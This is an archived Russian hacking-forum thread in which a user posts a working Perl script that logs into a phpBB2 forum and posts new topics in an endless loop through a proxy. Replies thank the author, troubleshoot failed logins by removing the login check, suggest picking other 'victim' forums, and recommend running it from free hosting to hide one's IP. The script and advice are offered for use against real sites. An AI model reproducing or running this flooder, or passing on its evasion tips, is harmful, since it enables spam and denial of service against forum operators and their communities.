PDA

Просмотр полной версии : флудер форума phpBB


C!klodoL
08.09.2007, 06:37
выкладываю флудер форума phpBB, тестировался на версии 2.0.22, результат испытаний вы можете наблюдать тут: nod*evice*.ru/*forum/*viewfo*rum.php?*f=*9*7 , * из ссылки естественно убрать
#!/usr/bin/perl

# phpBB2 флудер, тестировался на phpBB 2.0.22
# C!klodoL
# специально для antichat.ru

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;

my $forumurl = 'http://www.site.ru/forum/'; #путь к форуму
my $proxy = 'localhost:4001'; #прокси
my $forumnum = 97; #номер форума

my $username = 'Хэккер'; #ник от форума
my $password = 'P@$$w0rD'; #пароль

my $delay = 30; #антифлуд задержка
my $subject = 'Превед!!!'; #тема топика
my $message = 'Это не флуд =)))))))))))))))))))))))'; #текст сообщения

my $useragent = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$useragent->cookie_jar($cookies);

if ($proxy)
{
$useragent->proxy('http', "http://$proxy");
}

my $request = $useragent->post($forumurl.'login.php',
{username => $username,
password => $password,
redirect => '',
login => 'Log+in'})->as_string;

my ($sid) = $request =~ /index\.php\?sid=(.*)/;

print "[+] Get sid $sid\n";

if ($request =~ / 302 /)
{
print "[+] Login successful, flooding...\n";
}
else
{
print "[-] Cant logining\n";
exit;
}
my $counter = 1;
while (1)
{
$request = $useragent->post($forumurl.'posting.php',
{subject => $subject,
message => $message,
mode => 'newtopic',
sid => $sid,
f => $forumnum,
post => 'Submit'});
print "[+] Posting topic..".$counter++."\n";
sleep ($delay);
}

P.S. Флуд это плохо и им занимаются только дети.

TrypoED
08.09.2007, 07:39
ММ... Спасибо,щас затестим...

n0153r
08.09.2007, 11:56
+1 ! Продолжай в том же духе...

SpewFire
08.09.2007, 12:32
СпС!!! +)))

Nightmarе
08.09.2007, 14:37
Спасибо...
А можно ли это реализовать на сокетах??? чтобы свой айпи не палить... а то прокси это не...

C!klodoL
08.09.2007, 14:41
Спасибо...
А можно ли это реализовать на сокетах??? чтобы свой айпи не палить... а то прокси это не...
на сокетах то можно, только зачем? у LWP и так поддержка прокси есть..

vadim399
08.09.2007, 14:43
Спасибо, флудер пработает на 5+

N19hTW0lF
11.09.2007, 12:05
нормуль! +5

qwerty1
29.09.2007, 16:42
пишет Cant logining,логин пароль указал верно,ссылку дал верно,форум 1 поставил,значение,выдает ошибку,хоть тресни

inv
29.09.2007, 18:09
Если что.
Автор скрипта неопределенное оффлайн (со своего компа).

C!klodoL
29.09.2007, 19:51
пишет Cant logining,логин пароль указал верно,ссылку дал верно,форум 1 поставил,значение,выдает ошибку,хоть тресни
попробуй вместо условия ($request =~ / 302 /) поставить 1 или просто удали этот кусок кода тогда факт залогинивания не будет проверяться

qwerty1
29.09.2007, 21:56
C!klodoL удалил,все вроде нормально...пишет [+] Get sid все нормально,пошло зостинг месендж 1,2,3...захожу на форум,смотрю,нет ничего...И еще при запуске когда perl flood.pl выжает ошибку 40 ,что делать

fucker"ok
29.09.2007, 22:02
Флуд это плохо и им занимаются только дети.
И я себя этим оправдывал тоже :)
++

Проблема с флудом решается 2-3-я sql запросами :)

C!klodoL
29.09.2007, 23:07
qwerty1
ошибка 40 это видимо ты что то лишнее из кода вырезал, попробуй удали use strict и use warnings, я писал под пхпбб последней версии который был скачан с офф сайта, в некоторых пхпбб есть защита от флуда в виде скрытых полей, лучше выбери в качестве жертвы другой форум подходящей версии :) а вообще как сказано выше большого ущерба ты этим форуму не нанесешь

George767
30.09.2007, 01:58
Спасибо...
А можно ли это реализовать на сокетах??? чтобы свой айпи не палить... а то прокси это не...

Только дурак будет с локалхоста этим заниматся. Ставишь скрипт на бесплатный хостинг с php и дело пошло.

George767
30.09.2007, 02:20
Только дурак назовет незнакомого человека дураком (я тоже дурак)

Никого не называл. Зачем нужны всякие сокеты и другие извращения если изначально можно запустить скрипт просто на другой машине.

inv
30.09.2007, 02:25
Ну так ты бы кинул бесплатный хостинг с которого можно весь день флудить
и скрипт=\
Всего -то делов.

aspirine29
23.06.2008, 20:34
Спасибо, отличный флудер! Давно искал!!!

brlamo
24.06.2008, 05:32
Спасибо, у меня то же все работает!

Diversant-kz
05.07.2008, 21:17
Надо создавать html страницу и вписывать туда код
или что чтот я нечего не пойму объясните пожалуста

159932
05.07.2008, 22:01
Надо создавать html страницу и вписывать туда код
или что чтот я нечего не пойму объясните пожалуста
установи active perl -> сохрани в файл flooder.pl -> запусти ..

Diversant-kz
05.07.2008, 22:51
как ею active perl пользоваться